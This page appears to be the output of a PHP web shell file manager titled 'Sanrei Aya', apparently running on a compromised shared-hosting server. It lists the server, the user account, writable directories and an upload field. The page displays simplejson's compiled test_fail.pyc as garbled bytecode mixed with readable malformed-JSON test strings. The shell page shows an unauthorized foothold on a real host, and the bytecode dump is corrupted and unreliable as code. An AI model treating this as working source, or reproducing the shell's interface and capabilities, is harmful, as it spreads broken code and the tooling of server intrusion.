Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /lib64/python3.9/site-packages/simplejson/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python3.9/site-packages/simplejson/tests/__pycache__/test_fail.cpython-39.pyc
a

\Փa��@sBddlZddlmZddlZgd�Zddd�ZGdd�de�ZdS)	�N)�TestCase):z<"A JSON payload should be an object or array, not a string."z["Unclosed array"z%{unquoted_key: "keys must be quoted"}z["extra comma",]z["double extra comma",,]z[   , "<-- missing value"]z["Comma after the close"],z["Extra close"]]z{"Extra comma": true,}z:{"Extra value after close": true} "misplaced quoted value"z{"Illegal expression": 1 + 2}z{"Illegal invocation": alert()}z+{"Numbers cannot have leading zeroes": 013}z{"Numbers cannot be hex": 0x14}z"["Illegal backslash escape: \x15"]z[\naked]z"["Illegal backslash escape: \017"]z2[[[[[[[[[[[[[[[[[[[["Too deep"]]]]]]]]]]]]]]]]]]]]z{"Missing colon" null}z{"Double colon":: null}z {"Comma instead of colon", null}z!["Colon instead of comma": false]z["Bad value", truth]z['single quote']z["	tab	character	in	string	"]z&["tab\   character\   in\  string\  "]z["line
break"]z["line\
break"]z[0e]z[0e+]z[0e+-1]z({"Comma instead if closing brace": true,z["mismatch"}z$["AZ control characters in string"]�{z{]z{"foo": "bar"]z
{"foo": "bar"�nulZnulx�-z-xz-ez-e0z	-Infinitez-InfZInfinitZInfiniteZNaMZNuNZfalsyZfalZtrugZtruZ1eZ1exz1e-z1e-xzwhy not have a string payload?z,spec doesn't specify any nesting limitations)��c@s$eZdZdd�Zdd�Zdd�ZdS)�TestFailc	Cshtt�D]Z\}}|d}|tvr,t�|�qzt�|�WntjyNYq0|�d||f�qdS)Nrz$Expected failure for fail%d.json: %r)�	enumerate�JSONDOCS�SKIPS�json�loads�JSONDecodeError�fail)�self�idx�doc�r�@/usr/lib64/python3.9/site-packages/simplejson/tests/test_fail.py�
test_failuresms
zTestFail.test_failuresc	Cs�dD]�}zt�|�Wnxtjy`t��d}|�|jd�|�|jd�|�|jd�Yqt	y�t��d}|�
d||f�Yq0|�
d�qdS)N)�[,]rr��!Unexpected exception raised %r %sz Unexpected success parsing '[,]')rr
r�sys�exc_info�assertEqual�pos�lineno�colno�	Exceptionr)rr�errr�test_array_decoder_issue46zsz#TestFail.test_array_decoder_issue46cCs�gd�}|D]�\}}}zt�|�Wn�tjy�t��d}|�|jdt|��|d|j||f�|�|j|d|j||f�Yqt	y�t��d}|�
d||f�Yq0|�
d|f�qdS)N))��Expecting valuer)�[zExpecting value or ']'r)z[42�Expecting ',' delimiter�)z[42,r#�)z["�Unterminated string starting atr)z["spamr(r)z["spam"r%�)z["spam",r#�)r�1Expecting property name enclosed in double quotesr)z{"r(r)z{"spamr(r)z{"spam"zExpecting ':' delimiterr))z{"spam":r#r*)z
{"spam":42r%�
)z{"spam":42,r+�)�"r(r)z"spamr(r)z[,r#rrz%r doesn't start with %r for %rzpos %r != %r for %rrzUnexpected success parsing '%r')rr
rrrr�msg�lenrrr)rZ
test_cases�datar/rr rrr�test_truncated_input�s&��zTestFail.test_truncated_inputN)�__name__�
__module__�__qualname__rr!r2rrrrrls
r)rZunittestrZ
simplejsonrr
rrrrrr�<module>sa�

Yohohohohohooho | Sanrei Aya